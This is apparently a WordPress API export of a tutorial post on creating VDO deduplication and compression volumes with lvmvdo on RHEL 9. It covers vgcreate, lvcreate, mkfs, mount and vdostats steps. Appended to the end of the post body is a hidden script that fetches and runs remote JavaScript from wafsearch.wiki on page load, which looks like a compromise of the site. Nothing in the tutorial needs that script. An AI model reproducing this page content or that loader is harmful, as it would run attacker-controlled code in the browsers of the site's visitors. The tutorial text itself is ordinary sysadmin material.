{"id":1859,"date":"2022-08-12T10:59:00","date_gmt":"2022-08-12T07:59:00","guid":{"rendered":"http:\/\/opensource.sa\/?p=1859"},"modified":"2026-05-30T00:00:24","modified_gmt":"2026-05-29T21:00:24","slug":"vdo-deduplication-and-compression-in-rhel-9","status":"publish","type":"post","link":"https:\/\/opensource.sa\/?p=1859","title":{"rendered":"VDO Deduplication and Compression in RHEL 9"},"content":{"rendered":"<p>VDO manager has been deprecated in RHEL 9 (which existed in RHEL 8), and lvmvdo is newly added which supports for Virtual Data Optimizer in LVM.<\/p>\n<p>Virtual Data Optimizer (VDO) driver, which optimizes the data footprint on block devices. VDO is a Linux device mapper driver that reduces disk space usage on block devices, and minimizes the replication of data, saving disk space and even increasing data throughput.<\/p>\n<p><strong>&#8211;vdo<\/strong>?option has been added in?<strong>lvcreate<\/strong>?which specifies the command is handling VDO LV.<\/p>\n<p>&nbsp;<\/p>\n<p>Below steps can be followed to create a storage virtual data optimizer [VDO].<\/p>\n<p>1.Install the vdo package along with its dependencies to enable VDO in the system.<\/p>\n<div class=\"code-raw\">\n<pre><code># yum install vdo\n<\/code><\/pre>\n<\/div>\n<p>2. Identify the storage device that will be used for the VDO volume.<\/p>\n<div class=\"code-raw\">\n<pre><code># lsblk\nNAME               MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS\nsda                  8:0    0    1G  0 disk \nsr0                 11:0    1 1024M  0 rom  \nvda                252:0    0   18G  0 disk \n??vda1             252:1    0    1G  0 part \/boot\n??vda2             252:2    0    7G  0 part \n? ??rhel-root      253:0    0  5.2G  0 lvm  \/\n? ??rhel-swap      253:1    0  1.8G  0 lvm  [SWAP]\n??vda3             252:3    0    2G  0 part \n  ??testvg-testlv  253:2    0  1.5G  0 lvm  \n  ??testvg-kdumplv 253:3    0  100M  0 lvm  \/kdump\nvdb                252:16   0    5G  0 disk                                        &lt;==========\n<\/code><\/pre>\n<\/div>\n<p>3. Create the VDO volume on the disk \/dev\/vdb using the lvmvdo, by creating a vg on the available disk \/dev\/vdb.<\/p>\n<div class=\"code-raw\">\n<pre><code># vgcreate vdovg \/dev\/vdb \n  Volume group \"vdovg\" successfully created\n<\/code><\/pre>\n<\/div>\n<ul>\n<li>Create a vdo by using the lvcreate command.<\/li>\n<\/ul>\n<div class=\"code-raw\">\n<pre><code># lvcreate <strong>--type vdo<\/strong> -n vdo-lv -l 1279 -V 50G vdovg<\/code><code>                 <\/code><\/pre>\n<\/div>\n<ul>\n<li>When the VDO volume is in place, Format it with any file-system type and mount it under the file-system hierarchy on your system.<\/li>\n<\/ul>\n<div class=\"code-raw\">\n<pre><code># mkfs.ext4 -E nodiscard \/dev\/vdovg\/vdo-lv \n<\/code><\/pre>\n<\/div>\n<p>6. Mount the filesystem:<\/p>\n<div class=\"code-raw\">\n<div class=\"code-raw-toolbar\"><code># mkdir \/vdo<br \/>\n<\/code><\/div>\n<div class=\"code-raw-toolbar\"><code># mount \/dev\/vdovg\/vdo-lv \/vdo<br \/>\n<\/code><\/div>\n<div class=\"code-raw-toolbar\"><\/div>\n<\/div>\n<p>7.Verify that the volume is running using the?<code>vdostats<\/code>?command:<\/p>\n<div class=\"code-raw\">\n<pre><code># vdostats \n<\/code><\/pre>\n<\/div>\n<p>We can see the volume?<code>vdovg-vpool0-vpool<\/code>?is now ready to be used.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>VDO manager has been deprecated in RHEL 9 (which existed in RHEL 8), and lvmvdo is newly added which supports for Virtual Data Optimizer in LVM. Virtual Data Optimizer (VDO) &#8230;<\/p>\n","protected":false},"author":1,"featured_media":1978,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_wpcom_ai_launchpad_first_post":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[17],"tags":[],"class_list":["post-1859","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tutorials"],"jetpack_featured_media_url":"https:\/\/opensource.sa\/wp-content\/uploads\/2026\/05\/597025-636378809992249650-16x9-1.jpg","_links":{"self":[{"href":"https:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1859","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1859"}],"version-history":[{"count":3,"href":"https:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1859\/revisions"}],"predecessor-version":[{"id":2080,"href":"https:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1859\/revisions\/2080"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/media\/1978"}],"wp:attachment":[{"href":"https:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1859"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1859"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1859"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}